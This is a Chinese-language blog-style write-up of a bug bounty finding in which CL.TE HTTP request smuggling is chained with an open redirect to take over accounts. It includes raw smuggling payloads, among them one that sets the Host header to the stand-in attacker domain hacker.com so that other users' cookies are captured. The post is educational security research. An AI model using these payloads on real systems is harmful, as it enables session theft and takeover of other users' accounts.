行业新闻

HTTP 请求走私+开放重定向实现账户接管

HTTP 请求走私+开放重定向实现账户接管

 

最近burp的新版本终于支持修改HTTP2的流量了,就一直在看Jame的那篇关于HTTP2降级HTTP1请求走私的研究,不过理解了,但是对于实际的测试具体的漏洞流程和验证危害之类的, 因为portswigger体验的实验室只有一个admin删东西的流程,这种高难度的流程明显我这种小白是完全不懂,于是一直在找相关的报告漏洞报告进行学习,这篇报告是一个老外在8.31在他的博客发表的一个他挖到的HTTP请求走私漏洞赏金报告,最后通过HTTP请求走私+开放重定向的配合完成了账户接管

 

测试用到的工具

burp新版本(CE和PRO版都有的功能)中安装turbo intruder和http request smuggler扩展

smuggler.py脚本工具,也是根据James提出的方法做的针对HTTP请求走私的测试工具

https://github.com/defparam/smuggler

 

发现漏洞

通过burp的扫描功能收集到的子域名然后burp报告了漏洞的存在(话说burp新版貌似厉害了不少,昨天晚上还有师傅在群里夸来着)。

报告了一个CL.TE型的HTTP请求走私漏洞,这种漏洞类型意味着前端使用Content-Length头进行验证,而后端使用Transfer-Encoding进行验证

验证漏洞

扫描器报告漏洞后下一步就是手注确认了,可惜这里一般都没什么小技巧,就是尽量挑服务器空闲的时候访问,不然很容易错过

POST / HTTP/1.1 
Host: subdoamin.readcted.com
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 7 
Transfer-Encoding: chunked 
Transfer-encoding: identity


1
A
0

利用

这里使用burp的 turbo intruder扩展来发送请求,这个拓展可以被视为intruder的暴力版(当然我是这么认为的):

POST / HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked
Transfer-encoding: identity

0

GET /video HTTP/1.1
Foo: x

这样下一个用户就会访问example.com/video,然后看到中间页面出现返回301,顺利验证了漏洞存在,不过这时候HTTP请求走私还只能301,并没有太大的危害,不过通过self xss 或者开放重定向这样的漏洞进行组合产生更大的危害效果,就类似于CSRF+XSS这种漏洞组合一样

不过在目标站点并没有出现self xss漏洞,不过这里找到了一个开放重定向,通过开放重定向让其他用户访问恶意网站然后拿cookie,不过这里还出现了另一个漏洞,他修改了主机头,使得用户被重定向到外部网站

payload:

POST / HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Transfer-Encoding: chunked
Transfer-encoding: identity

0

GET /video HTTP/1.1
Host: hacker.com
Foo: x

这里测试的外部网站是通过https://requestbin.com/注册的

请求通过 turbo intruder 发送,查看网站的访问记录,可以看到别的用户的cookie

关闭